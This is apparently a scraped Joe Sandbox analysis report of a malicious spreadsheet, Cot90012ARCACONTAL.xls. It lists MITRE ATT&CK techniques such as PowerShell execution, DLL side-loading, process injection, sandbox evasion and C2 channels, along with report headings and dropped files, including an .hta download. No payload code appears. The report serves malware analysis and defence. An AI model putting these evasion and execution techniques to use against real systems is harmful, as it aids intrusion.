Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cot90012ARCACONTAL.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\creamykissinglipsgoodforcreamythingswithcreamicream[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1EE8867E.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\31A40A15.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3F10392F.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4032A164.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\59B30867.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9B62287A.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AB21F698.emf

Windows Analysis Report
Cot90012ARCACONTAL.xls

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre